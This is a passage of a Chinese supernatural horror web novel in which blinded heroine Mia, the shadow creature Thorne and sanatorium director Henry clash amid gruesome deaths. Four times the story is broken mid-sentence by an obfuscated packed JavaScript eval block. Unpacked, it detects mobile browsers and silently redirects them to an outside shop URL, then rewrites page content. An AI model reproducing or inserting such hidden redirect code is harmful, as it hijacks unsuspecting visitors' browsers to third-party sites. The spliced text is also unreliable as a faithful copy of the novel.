之前下雨的时候她还对这些潮湿的空气很是嫌弃,但如今她却贪婪的大口呼吸着,庆幸着自己还活着。 活着就好,只要活着一切就都好说。 然而就在她努力斟酌着语言想要和索恩再说些什么的时候,一只冰凉的大手却忽然捂住了她的眼睛,似乎有什么细小冰凉的东西钻入了她的眼中。 米娅急切的抓住那只手:“你做了什么?” 索恩冷冷的抽回手:“这双眼睛太善于说谎,我不喜欢。” “什么意思?索恩,等等……” 米娅慌忙质问,却许久都无人应答,她后知后觉的伸手往前摸索了几下,这才发现索恩已经走了。 可是卫生间唯一的门就在她的身后,他是怎么悄无声息的凭空消失的? 重获自由的她立刻打开门想要逃离这黑暗的卫生间,然而当门真的打开的时候,她却发现自己的眼前依然一片漆黑,什么也看不见。 起初她还以为是客厅的灯也灭了,但很快她就发现不是灯有问题,而是她有问题——她瞎了。 米娅使劲闭了闭眼,希望这只是一场梦,然而无论她怎么努力眨眼,眼前的世界始终被黑暗笼罩。 她知道门外就是客厅,再走几步就能坐在柔软的沙发休息,曾经的她对此习以为常。但此刻的她却仿佛置身于危险泥泞的沼泽,竟是一步也不敢迈出去。 强烈的无力感涌上米娅的心头,她扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866484|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着门框的手逐渐滑落,苦笑着坐在冰凉的地砖上。直到此刻才发现自己之前对索恩的认知实在是错得离谱。 这下真的玩脱了。 她一个瞎子出门遛弯都费劲,还谈什么逃跑? 若是再遇到花衬衫那种没事找事的混蛋,她别说拿石头反击了,怕是导盲棍都得被人撅折了。 就是不知道这致盲是可逆的还是不可逆的? 如果是可逆的,她现在去抱住索恩的大腿真诚道歉还来不来得及? 如果索恩不愿意恢复她的眼睛,那她就只能放一把火和整个疗养院同归于尽了。 大火会焚烧一切罪恶,恐怖片里都是这么演的。 就在米娅自暴自弃的时候,忽然有什么东西在她眼前闪了一下。她定睛一看,就见之前一直处于自动隐藏状态的心脏图标再次出现在了她视野的右下角。 灰白色的心脏不断跳动,表面密布的大部分血管依然是空荡荡的,但几根极细的血管却隐约有猩红的液体流动,它们跟着心脏一起鼓动收缩,像是在凭空汲取着什么。 米娅不由坐直的身体,紧盯着那个图标,就见心脏上方的数字0缓缓变成了1%。她心头一跳,下意识放轻了呼吸,生怕把这唯一的希望给吹跑了。 又不知过了多久,当1%缓缓变为2%的时候,她才终于确定这不是她的幻觉。而笼罩在她眼前的黑暗则像是被揭去了一层纱,极其微弱的光透了进来。 米娅激动的站起身,确定这不是错觉后,她心中的郁气顿时消散了大半。 之前她一直不知道该怎么给这个技能充能,没想到它竟然可以将索恩留在她眼睛里的力量化为己用! 她以后再也不嫌弃它长得丑还屁用没有了,这分明是她最爱的小心肝! 但是如果这个技能真的可以影响现实的话,那么为什么被技能命中成功的索恩对她会是那种态度? 米娅迟疑的抬手摸上自己的眼角,百思不得其解后,她果断将这个问题抛之脑后,转而想到了另一件事。 现在她的眼睛确实瞎了,并且其他人可不知道她的眼睛可以恢复,或许她可以利用这一点来做些什么? 看过剧情的她知道疗养院的地下有个人工开凿的溶洞,溶洞内有个地下湖,湖中圈养的正是那些变异鳗鱼。 亨利会带着其他医生在溶洞里研究鳗鱼,而那些被榨干生命的老人尸体则会被丢到湖中喂鳗鱼。同时那里也是存放生命精华的基地,是疗养院最重要的核心。 每次在餐厅用餐的时候,米娅都能看见疗养院的工作人员拿出小棕瓶,目露痴迷的服用生命精华,他们之所以对亨利俯首帖耳,为的就是这个。 而林子里那扇上锁的地窖小门其实就是通往地下溶洞的暗门。只要她能降低亨利的戒心,想办法打晕他,偷取到他的院长通行证、车钥匙以及通往地窖小门的钥匙。她就能进入地下溶洞,一把火烧了它。 那些医护人员和保安看见这一幕肯定会吓疯,拼命前去灭火。疗养院的安保体系就算不崩溃也会出现漏洞。而她则可以趁机开着亨利的车逃出去! 而试问现在这种情况下,还有什么会比一个瞎子更能降低他人的防备心呢? 11. 第 11 章 夜深人静,护士站的值班护士正打着瞌睡,一阵刺耳的铃声出现迅速将她从梦中惊醒。 她不耐烦的揉了揉眼睛,发现是呼叫主机响了,本以为是哪个老人在呼叫护士,结果主机上显示的房间号却让她顿时睁大了眼睛。 因为院长的有意隔离,顶楼只住了一个病人,那就是院长的妹妹——米娅·沃莫尔。她几乎不与他们这些医护人员有所交流。为什么今晚会突然按响呼叫器? 护士狐疑的按下接通键。伴随着滋滋的电流声,一道惊恐哽咽的女声立刻响起。 “有人吗?快来帮帮我!我看不见了!” “拜托叫我哥哥过来!快帮我叫他过来!” 护士试图安抚米娅,让她说清楚到底发生了什么事。却发现她正处于情绪崩溃的边缘,说话语无伦次,根本无法进行有效交流。 但护士还是从米娅的只言片语中意识到事情不妙,于是立刻利用对讲机通知了巡夜的护工,接着又将这事上报。 离得最近的护工接到消息后直接通过消防楼梯跑上了顶楼,刚到走廊,他就看见米娅小姐正光着脚跌跌撞撞的往外跑,结果刚跑出门就被走廊的地毯绊了一下,重重摔在了地上。那一声闷响让人听得就疼。 护工知道院长不喜欢他们和米娅小姐有过多接触,所以他没有上前搀扶,只是站在一边警惕的环顾四周。 “米娅小姐,发生了什么事?” 米娅坐在地上垂头一直哭,并不回答护工的问题。护工没办法,只能站在边上陪着她。好在亨利很快带着几个护工从电梯里走了出来。 他大步走到米娅的身前正要询问她出了什么事,结果刚看过去他的视线就顿住了。 只见米娅白皙的脖颈上多出了一道刺目的淤青,淤青的指痕非常明显。一看就是被人用力掐出来的。但他可以肯定自己离开之前,米娅的脖颈绝不是这个样子! 亨利蹲下身,用手抬起米娅的下巴想要仔细查看,谁知米娅刚一抬头,更可怕的一幕出现了。 她的瞳孔和眼白此刻漆黑一片,双眼像是两个诡异的黑洞,能把人的灵魂都吸进去。 护工们倒吸一口凉气,有人扭头低声询问最先到达的那个护工到底怎么回事。 最先到达的护工比他们还要惊恐。 “我不知道。米娅小姐之前一直低着头,我根本没注意她的眼睛变成了这样。” 亨利的面色瞬间阴沉如水,总觉得最近有很多事都在渐渐脱离他的掌控。 “告诉我,这都是谁做的?” “你走了之后,我去卫生间准备洗漱,结果灯忽然熄灭了,然后一道黑影出现……我就看不见了。” 米娅颤抖的摸上自己的眼角:“我的眼睛怎么了?为什么你们那么害怕?” 亨利闻言抬手在米娅的眼前晃了晃,米娅本人毫无反应,依然虚无焦距的望着前方,苍白的脸上满是脆弱的空茫感。 然而那双黑洞却像是受到刺激活了过来,隐约有丝丝缕缕的黑雾在其中翻腾蠕动。 众人面露惊愕,离得近的护工悄悄后退了一步。生怕那诡异的东西会蔓延到他身上。 亨利迅速缩回手,眉头紧皱的让两名护工搀扶着米娅前往医疗室,利用专业的器材做了一番检查。 检查发现米娅的双眼已经被这些黑雾完全包裹住。而他们没有任何办法能够驱散这些黑雾。 医疗室的气氛变得很凝重,那些被强行叫醒赶过来的医生们原本心里还有些抱怨,此刻却大气也不敢喘。 片刻后,米娅被玛吉护士搀扶着走出了医疗室,门关上的时候,她隐约听到医疗室内传来亨利等人的交谈。 “那个该死的怪物……一定是他……他在向我宣战……” “……这是魔鬼的报复……他一直不死心……” “……但我们没办法……怎么办?他……” 米娅试探的询问玛吉护士:“他们说的怪物是什么意思?索恩……” 还不等她说完,玛吉护士就打断了她的话:“米娅小姐,对于这些事我知道的并不多,如果你想知道的话可以问问院长。” 米娅乖巧的没有多问,她戴着雪白的医用眼罩安静的坐在休息区的单人沙发上,同样雪白的纱布和绷带缠绕在她纤细的脖颈上,黑发垂落在脸颊边,越发显得她的脸苍白得毫无血色。 玛吉护士觉得此刻的米娅小姐神似画室里那个低头垂泪的芭蕾舞女石膏像。不过她对此没有任何怜悯,因为她知道米娅也是个怪物,一个和院长一样活了一百多岁的美丽怪物。 她贪婪的视线扫过米娅那毫无皱纹的白皙肌肤,柔顺有光泽的黑发,心里满是遗憾。 她是年过四十才有幸接触了生命精华,无论再怎么坚持服用,也只能保持四十岁的容貌。要知道她今年也才七十多岁,这个一百多岁的怪物竟然比她还要充满年轻朝气。真是让人嫉妒。 因为看不见,所以米娅的其他感官反而更加敏锐了,她能够感觉到玛吉护士并没有离开,而是正站在她前方,用一种让人毛骨悚然的视线不断打量着她的脸。 米娅不由紧张起来,好在很快她就听到了门开合的声音,一阵脚步声逐渐靠近,熟悉的古龙水气味扑面而来。 是亨利。 亨利走到米娅身后,将一条挂有小玻璃瓶的项链戴在了她的脖子上。小瓶子只有拇指大,瓶底被浅浅一层黑色灰烬所覆盖。 米娅伸手摸索,发现瓶子摇晃时会发出细微的沙沙声,似乎装了东西。 “哥哥,这是什么?” 亨利坐到另一边的沙发上,先是侧头吩咐护士给他倒一杯咖啡,随后才回答米娅的问题。 “这是护身符,有它在,那个怪物就再也不敢靠近你了。所以你切记要随身带着,无论什么时候都不要将项链取下,更不要打开盖子。” “另外,最好每天都能确保它被阳光照射一小时,这样才有效果。” 米娅她曾经注意过亨利一直戴着一条银色项链。因为他总是把衬衫的扣子扣到最上面一颗,所以她从没有看见过那条项链的全部真容,现在想来……或许亨利佩戴的就是这种项链? 她趁机询问:“哥哥,你为什么说他是怪物?他不是病人吗?这到底是怎么一回事?” “我之前那么说只是不想吓到你。但现在事情发展成这样,我也无法隐瞒了。” 亨利叹息:“索恩并不是人类,而是一个潜藏在黑暗中惧怕光明的怪物,他非常嗜血和残忍,可以出现在疗养院任何一个黑暗的角落,悄无声息的杀死任何人。” “还记得三年前你在餐厅看见的那具被拧成麻绳的医生尸体吗?那就是一切的开端。你被吓得当场昏迷。醒来后变得比之前更加沉默寡言,有时候甚至一整天都待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866485|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在房间不吃不喝。” “我也被你当时的样子吓坏了,所以为了保护你和老人们的身心健康,我们只能将怪物的存在和接下来的几起血案都隐瞒了下来。” “那是一段很难熬的日子,疗养院几乎每晚都有人死在黑暗的角落,我们晚上面临巨大的危险,白天还要用微笑粉饰太平,好在我们很快就找到方法将怪物困在了那栋小楼。” “于是一切都恢复了平静。你也开始恢复了往日得到活力。只是没想到随着时间的流逝,那个怪物竟然会挣脱束缚再次出现,还把对我的仇恨转移到了你身上。” 亨利喝了口咖啡,语气低沉:“我早该猜到的……前几天的那个护工跳楼就是另一个开端。他的报复早就已经开始了。” 米娅试探道:“索恩是突然出现在疗养院的吗?他为什么要杀人?” 亨利厌恶的评价:“因为他是一个嗜血残忍的怪物。怪物杀人是没有理由的。” “可是……” 米娅还想再问,但亨利却不想多谈。 “好了,这件事就到此为止,你该回去休息了,剩下的我会处理好的。” 亨利用不容抗拒的语气吩咐护士送米娅回去。随后转身离开,准备和其他人商量一下该如何处理那个阴魂不散的怪物。 玛吉护士搀扶着米娅回到顶楼套间,将所有灯都打开后就离开了。徒留米娅一人躺在床上,抚摸着脸上的医用眼罩,心中千回百转。 刚刚亨利看似说了很多,但她知道他有很多东西都没有说清楚。 比如小瓶子里装的到底是什么东西? 比如他到底用了什么方法困住了索恩? 又比如根据她之前的观察,索恩并不像是个没有逻辑的嗜杀怪物,亨利显然隐瞒了什么。 不过这些都是疗养院和索恩之间的恩怨,和她的关系不大。 米娅忌惮的想:她只需要知道索恩差点杀了她就够了,能从他的手里捡回一条命已是她的幸运。对于这种强大诡异的怪物,最好的办法就是敬而远之。 不要靠近索恩,会变得不幸! * 不知过了多久,米娅终于陷入了睡梦中, 她睡得很不踏实,眉头微蹙,不断往被窝里缩,最后大半张脸都藏在了被子下,侧躺着蜷缩在被窝里,只有黑色的长发披散在鹅绒枕头上。 也是这时,卧室的灯光骤然熄灭! 一道漆黑的人影凭空出现在米娅的床边,谁也不知道他是什么时候出现的,又或者他一直都在那里,只是明亮的灯光掩盖了他的身影。 黑暗中,那抹模糊的人影轮廓以肉眼可见的速度变得更高大、瘦长。最终那漆黑的头颅几乎顶到了天花板。 接着那诡异的人影弯下腰,低下头,巨大漆黑的头颅以一种近乎紧贴的姿态低悬在枕头上空, 冷冷的注视着床上的小鼓包。 明明他才是被背叛的那个,她却表现的像个受害者。多么的可怜,多么的无辜。 原来她不只是嘴巴会说谎,眼睛会说谎,而是身体的每一寸……就连头发丝都会说谎。 这就是他为自己重新选择的家人,她和那些人没什么不同,到最后他也什么都没有改变。 人影就这么冷冷的盯着看了许久,一直到外面的天空开始亮起鱼肚白,朦胧的晨光顺着窗户照进来,他才终于消失在原地。 12. 第 12 章 太多的疲惫拖拽着米娅的身心,她这一觉从凌晨一直睡到了下午五点。最后还是饥饿的胃部唤醒了她。 醒来后的她看着眼前的漆黑先是愣了一秒,随后才想起自己现在是个瞎子。她只能摸索着从衣柜里胡乱拿出一套衣服,然后摸着墙一点点挪进卫生间洗漱、换衣。 最后按动了墙上的呼叫器,本想着让护士直接将晚餐送到房间,但想到亨利说过护身符需要经常晒太阳才有效果。她最终还是选择请一位护士来搀扶她去餐厅用餐。 护士询问米娅想要什么样的导盲犬和导盲杖,之后他们会派人下山去买来。 米娅倒是想要伪装成加特林的那种导盲杖,最好突突突的时候还能冒蓝光,方便她直接物理超度了疗养院的这群人渣。要是再来一只地狱三头犬那就更棒了,可惜这话只能在心底想想。 她表面上只说自己需要一根足够坚硬的导盲杖,没要导盲犬。这座疗养院太过危险,她怕导盲犬哪天下水游个泳就变成变异鳗鱼的晚餐了。 护士记下了米娅的要求,领着她走向一处空着的餐桌,然而就在米娅即将落座的时候,忽然感觉后领被猛地拽住,一股窒息感瞬间袭来,接着一只带着汗臭的大手迅速拽走了她脖子上的项链! 虽然这突然的袭击来得快去得也快,但米娅还是被吓了一跳。 她看不见袭击者是谁,也不知道自己该往哪里躲。只能坐在椅子上,一只手捂住自己脖子上松散的纱布。另一只手则在桌上胡乱摸索着,最终紧张的握住了一把冰凉的餐刀。 与此同时,原本温馨的餐厅也因为这个变故开始嘈杂起来,几个老人发出惊叫。 “是那个疯子!” “他怎么又出来了?” “他抢了那个女孩什么?快来人帮帮她!” 米娅身边的护士和餐厅里的其他医护人员立刻反应过来,迅速扑上去抓住了抢项链的疯老头。 被压在地上的疯老头发出刺耳的尖叫:“滚开,这本来就是我的项链!是我的!” “当初你们要求我帮你们吞并希金斯家的财产的时候,明明说过会保住我的命的,我已经什么都不要了,我只想活着……唔唔唔!” 趴在疯老头身上的护工死死捂住了他的嘴,想要阻止他说话,却被疯老头狠狠咬了一口。顿时痛叫着缩回手。 而疯老头一边拼命躲开他们的手,一边再次尖叫。 “你们这些该死的混蛋,在利用我得到一切之后就想把我一脚踢开,你们明知道没有项链我会死的,他会找上我的!” “你们和那个魔鬼没有一点区别,都是怪物!怪物!” 他看着面色蜡黄,瘦骨嶙峋,此刻却爆发出惊人的力气,几个医护人员一时间竟然拿不下他。 但也就是这时,他忽然动作一顿,错愕的看向手中的小玻璃瓶。 “不对……这不是……”我的项链。 几个医护人员察觉到疯老头挣扎的力度变小了,立刻抓住机会抢回了项链,同时一位匆匆赶来的医生迅速给疯老头来了一针镇定剂。 一场兵荒马乱由此落幕,一名医生出来安抚受惊的老人们,将疯老头刚才吐露的一切都归结于疯子的精神错乱。 护士为米娅的脖颈重新上药包扎,并找来另一条银项链,将玻璃瓶重新挂在了她的胸前。 米娅摸了摸胸前的小瓶子,沉默的吃完了这顿晚餐。 * 两个护工抬着疯老头穿过走廊,将他直接扔进了病房。 砰! 疯老头好似破麻袋一样重重摔在地上,他因为镇定剂的作用而无法动弹,只能发出无力的呻、吟。 一个穿着白大褂的医生走过去踢了踢他,虚伪的叹息一声。 “你说的对,那个怪物真的出来了。” “不过不是我们要踢开你,而是那个怪物盯上了米娅小姐,你知道的……她毕竟是院长的妹妹。所以我们只好舍弃你了。” “趁现在天还没黑,或许你还可以为自己祈祷一下。祝你好运。” 门被彻底关上,门外传来医生等人逐渐走远的脚步声,躺在地上的疯老头忽然露出一个绝望的笑容,嘴中呢喃:“那不是我的项链,那不是我的项链……那不是……” “他回来复仇了,你们逃不掉的,所有人都会死在他手上!” 因为医生打的镇定剂过量,疯老头很快就陷入了昏迷。时间一点点流逝,太阳西沉,血红的余晖斜斜的照在疯老头的身上,又像是长了脚一样一点点的溜走,夜晚就这么悄悄降临。 昏迷中的疯老头仿佛感应到了什么,他眼皮颤动着从昏迷中挣扎醒来,浑浊的老眼小心翼翼的观察着房间的一切。 而当他看向某个角落的时候,他苍老的脸皮立刻因为惊恐而颤抖。 “不要……求你……” 没有人回答,倒是原本敞开的窗帘“唰”的自动拉紧。整个病房彻底陷入了一片死寂的黑暗。 一声痛苦的闷哼响起,无数猩红温热的液体滴滴答答的从天花板处落下。 几秒过后,一具被拧成麻绳的扭曲尸体从上方落下,重重的砸在一片血泊之中。血花飞溅! 鲜血顺着门缝流到了走廊上,浓郁的血腥味很快就引来了巡夜护工的注意力。他颤抖着快速后退,拿起对讲机迅速将这件事上报。 很快亨利就带着一群医护人员匆匆赶到,他们小心翼翼的打开门,手电筒很快照亮了漆黑的房间。 哪怕早就预料到了疯老头的结局,但当他们真正看见疯老头那标志性的死状后,还是有不少人倒吸一口凉气,眼中满是惊惧,仿佛再次回到了三年前的那场噩梦。 “真的是他,人类根本无法做到这一步……” “我早就说了肯定是他!那个怪物真的出来了!” “我们现在该怎么办?” “大家别慌……” “闭嘴!” 亨利低喝一声,他冰冷的视线扫过慌乱众人,抬手缓缓拽出那个一直藏在他衣领下的玻璃瓶挂坠,瓶中同样装着一层黑色的灰烬。 “别忘了,有这个在他根本伤不到我们,而我们能打败他一次,两次,就能打败他第三次。最终的胜利者只会是我们。” 众人逐渐镇定下来,他们抬手握住自己藏在衣领下的玻璃瓶挂坠,对着亨利院长垂下了头,显示自己的尊敬和臣服。 几个护工很快处理好了疯老头的尸体,灯光明亮的病房内再次干净如初,等待着下一位客人的入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866486|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住。 而窗外的夜色中,一个破碎的玻璃瓶静静的躺在花坛深处,被茂密的枝叶覆盖。 * 因为白天睡得太多,米娅现在反而有些睡不着了。她坐在露台的椅子上,感受着夜风徐徐吹过脸颊,带来一缕远方的草木气息。 技能充能已经来到了7%,她能够明显感觉到眼前的黑暗正在一点点褪色,当她直面灯光时,哪怕隔着医用眼罩也依然能看见一丝微光,或许再过两天就能完全恢复。 不过正因为如此,她才必须时刻佩戴医用眼罩遮挡,绝对不能让别人知道她的眼睛正在恢复。 米娅再次抬手触摸脸上的医用眼罩,垂头盘算着下一步该做什么。 玛吉护士推开门看见的就是这一幕。凄冷的月色下,米娅小姐孤独的躲在冷风中抚摸着那雪白的医用眼罩,一看就是在为自己的眼睛黯然神伤,低垂着头为自己的不幸而偷偷哭泣。 她贪婪的视线再次扫过米娅裸露在外的肌肤,悄悄收敛了脚步,直到走到米娅的背后才忽然用极高的音量道:“米娅小姐,热水已经帮你放好了。” 米娅正沉浸在自己的计划中,被这突然的声音吓得身体一抖,下意识握紧了胸口的玻璃瓶。 随后她才意识到发生了什么,气得扶着桌子站起来,椅子和瓷砖摩擦出刺耳的声音。 “玛吉护士,你这是干什么?!” 玛吉护士注意到米娅“看”的根本不是她的方向,脸上浮现出得意的讥讽。 “抱歉,我只是想说热水已经帮你放好了。” 米娅知道玛吉护士就是故意的,她攥紧拳头:“如果你再敢出声吓我,我就告诉我哥哥。” 玛吉护士面色一冷,语气硬邦邦道:“米娅小姐,我真的很抱歉,我保证之后不会了。” 米娅也冷声道:“你最好是。现在你可以走了。” 玛吉护士转身就想离开,但刚走两步她就又不怀好意的转头提醒道:“可是我还没有帮你将干净的衣服拿到浴室。而且之后的洗漱你可能也需要……” 米娅:“我自己可以。” 玛吉护士:“你确定吗?毕竟你现在是个盲人……哦,抱歉,我是说你的眼睛出现了问题,而浴室太过湿滑,对于现在的你来说很危险。” “闭嘴。” 米娅声音并不高,却透着十足的冷意:“滚出去。” 玛吉护士瞬间闭嘴,只觉得自己仿佛在米娅的身上看见了亨利院长的影子。随后她才意识到自己竟然被一向怯懦寡言的米娅小姐震慑住了。 恼羞成怒的她瞪了米娅一眼,转身就走,护士鞋用力在地板上踏出不耐烦的脚步声。 大门被重重关上,她站在走廊低低的咒骂了一声:“不愧是兄妹,骨子里都流淌着一样冷酷罪孽的血。” 她粗鲁的朝门口的地毯啐了一口,随后转身准备去喝一杯放松一下,谁知就在她转身的下一秒,走廊的灯忽然开始闪烁起来。 玛吉护士心头一跳,她迅速将藏在衣领下的玻璃瓶吊坠拽出来,像是信徒紧握十字架一样将它紧握在手里,双眼警惕的环视四周, 而当她停下脚步的时候,灯光又恢复了正常,明亮的走廊除了她以外并没有任何人影存在 13. 第 13 章 玛吉护士松了口气,还以为只是灯出现了故障,但就在她再次往前走的时候,走廊的灯光却又随着她的脚步闪烁起来。 她立刻放慢了脚步,结果灯光闪烁频率也开始放慢,她呼吸变得急促,加快脚步往电梯的方向冲去,结果灯光闪烁的频率也骤然越快! 她停在电梯前拼命按动按钮,本以为自己停下来,灯光也会停止闪烁,却不想灯光闪烁的频率反而变得更快了,好似一辆失控的火车疯狂加速,最终……砰! 走廊天花板上的第一个顶灯突然爆炸,紧接着是其他顶灯按照从远到近的顺序接连爆炸,尖锐的碎片飞散。黑暗仿佛变成了活的怪物一寸寸的吞噬着走廊。 “啊啊啊!救命!救命!” 玛吉护士吓得崩溃尖叫,眼看着电梯门一直不开,连电梯按钮的光也骤然熄灭,她转头不管不顾的往回跑,想要拍打米娅的房门求米娅放她进去。 然而还没等她的手拍下去,一道诡异的声音就侵入了她的大脑。随后是一声又一声满怀恶意的低喃。 玛吉护士僵硬的站在原地,双眼逐渐呆滞,原本高抬的手缓缓垂落到胸口,一把扯下了刚才还被她视作护身符的玻璃瓶。 接着她目不斜视的往前走,明明周围一片漆黑,她却精准的走到了走廊尽头的窗户边,将玻璃瓶扔了下去。 小巧的玻璃瓶摔成了一地细碎的玻璃片,冰冷的夜风将黑色的灰烬吹散。 紧接着呼啸的风声响起,她从顶楼重重坠落,鲜血染红了地面,却奇异的没有发出任何撞击声。 一楼的值班护士照旧趴在柜台上打瞌睡,完全没有意识到同事的死亡。 黑暗的顶楼走廊上,漆黑的人影站在窗边低垂着头,和楼下玛吉护士那死不瞑目的暴凸双眼遥遥对视,低哑的嗓音满是冷漠的嘲弄。 “你错了,她和亨利·沃莫尔毫无相似之处。” 因为她根本就不是他妹妹。 他见过亨利的那个妹妹,一个苍白病弱的棕发女孩,虽然生性天真单纯,但却有着和疗养院的其他人一样腐朽的腥臭。 而现在的米娅无论是外貌、性格还是气味都和那个棕发女孩截然不同。她用着洋甘菊的洗发露和沐浴露,身上总有一股浅淡却温暖的洋甘菊香。 那个亨利连自己的妹妹都认不出来,简直是蠢货。 * 另一边,米娅在浴缸里泡了许久,直到热水将她的手指都泡皱了才恋恋不舍的起身。她知道疗养院的水有问题,哪怕有那瓶“维生素片”在,她也该尽量减少和水接触的时间。 但待在这座疗养院的每一分每一秒对她来说都太过压抑,明明才来这不到十天,她却觉得仿佛过了一年那么久。她实在需要放松一下,否则她怕自己的心理会出问题。 浴缸的塞子被拔掉,伴随着哗啦啦的水声,米娅穿上睡衣,重新换了一条干爽的医用眼罩。随后打开门准备回卧室休息。谁知她刚打开门就感觉到前方似乎有人正注视着她。 那道视线阴郁冷淡,一瞬不瞬的紧盯着她,让她的脑海中顿时浮现出那抹黑暗中的人影。 也是这时米娅才发现眼前一片漆黑,她进卫生间之前还是能够看见一丝微光的,但现在却没有任何光芒能够穿透医用眼罩被她捕捉到。 显然……客厅的灯已经在她不知道的时候熄灭了。 米娅心里暗骂倒霉,索恩不是已经报复过她了吗?为什么还要来找她? 难道他真的把对亨利的仇恨转移到了她身上,想要杀了她?还是说他发现了她眼睛的异样? 她吓得头都不敢往那个方向抬,摸着墙一步步的往前挪。心里默念:我是瞎子,我是瞎子,我什么都看不见,我什么都不知道。 她就这样顺利的挪回了卧室,看见了医用眼罩外的一丝微光。 卧室的灯是亮着的! 米娅心里一喜,抬手就想关门。结果却遇到了明显的阻力,有另一股力量拦住了门。紧接着……卧室的灯也灭了。 米娅心凉了半截:不是吧大哥?追着杀啊? 她不知道亨利给的护身符到底有没有作用,也不想再和一个拥有超自然力量的怪物起冲突。于是她害怕又茫然的询问。 “有人在这吗?你是谁?” “玛吉护士,如果又是你在恶作剧的话,我劝你最好马上离开,因为我哥哥马上就要来了。你知道的,他每天晚上都会来看我。” 索恩,这可是你最后的机会了。求求了,放过她这个柔弱可怜又无助的瞎子吧。要杀就去杀亨利! 门外的漆黑人影动作一顿,房间内陷入了一种短暂的寂静。 米娅能感觉到那道视线变得更加阴冷尖锐,如有实质,刺得她呼吸一乱,之前被伤到的喉咙再次随着呼吸隐隐作痛。 她身体绷紧,还以为自己的话起了反作用。却不想耳边忽然传来亨利低沉磁性的声音。 “米娅,不用怕,是我。” 医用眼罩下,米娅不可置信的瞪大双眼。 What?! 还没等她搞清楚这是什么情况,卧室的门就已经被推开,皮鞋踏过地板的脚步声响起。一只大手扶住了她的胳膊,成年男性的体温隔着薄薄的睡衣面料不断传到她的肌肤上。 “亨利”温柔的声音再次响起:“来,我扶着你到床上。” 米娅知道每个人说话走路都会带有一些个人习惯,这人的脚步频率、语气、语调都和亨利一模一样。 熟悉的声音环绕着她,那一瞬间她真的以为他就是亨利,之前的感觉只不过是她太过害怕而产生的错觉。但很快她就意识到了不对劲。 要说她对亨利最深刻的印象是什么。不是他温文尔雅的外貌,也不是他博学的谈吐,甚至不是他那虚伪、阴险、冷酷的性格。而是他身上那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866487|191768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑面而来的浓重气味。 每次亨利靠近,米娅都会下意识屏住呼吸,生怕自己一个没忍住当着亨利的面干呕出来。 但这个“亨利”的身上既没有那浓郁的古龙水香味,也没有那掩盖不住的腥臭,准确来说他的身上什么气味都没有,干净得不像个人类。 所以他绝不是亨利,他就是索恩! 这个怪物到底想要做什么?! 米娅迈着僵硬的步伐往前走,等她回过神的时候已经躺在了床上,“亨利”上半身前倾向她,贴心的为她盖上被子。 柔软的被子变成了束缚米娅的虫茧,无形的压迫感让她一动也不敢动。 她只能在心里暗骂真正的亨利不靠谱,不是说有了护身符之后,索恩就不敢再靠近她了吗?差评! “亨利”:“你刚刚说的恶作剧是怎么回事?那个护士对你做了什么?” 米娅控制着自己的呼吸频率,强迫自己镇定下来。 “只是突然出声吓了我一跳而已,没什么大不了的。” 大床的一侧凹陷下去,“亨利”坐到了她的床边:“但你不喜欢这个恶作剧,对吧。” 米娅不明白索恩为什么要用这种帮她撑腰的语气说话,他是在模仿亨利言行?还是想要看她笑话? 呵呵,觉得她变成瞎子后,被护士欺负得只能找哥哥哭诉的样子很滑稽吗?会更有复仇的快乐吗? 为了不让索恩看笑话,米娅故作淡然的表示只是个小小的恶作剧而已,她没什么感觉。 “好吧。” “亨利 ”换了个话题,大手轻轻拂过米娅脸上的纯白医用眼罩:“眼睛感觉怎么样?” 米娅藏在被子下的手不由攥紧,生怕那只大手直接抠出她的眼珠。 “没什么感觉。不痛不痒,只是依然什么也看不见。” “亨利”叹息:“你不该去接触那个怪物的。” 米娅:“……对不起,哥哥。” “亨利”的手抚上米娅苍白的侧脸,声音低沉温柔,似乎完全是站在她的角度考虑。 “我不是在怪你,我只是为你感到可惜,现在的医学技术根本无法治好你的眼睛,你这辈子可能都无法再看见光明了。” “不过我们也许可以寻求其他方法,比如……杀了那个怪物,让一切诡异事件的源头消失,你的眼睛也许就能痊愈了。” 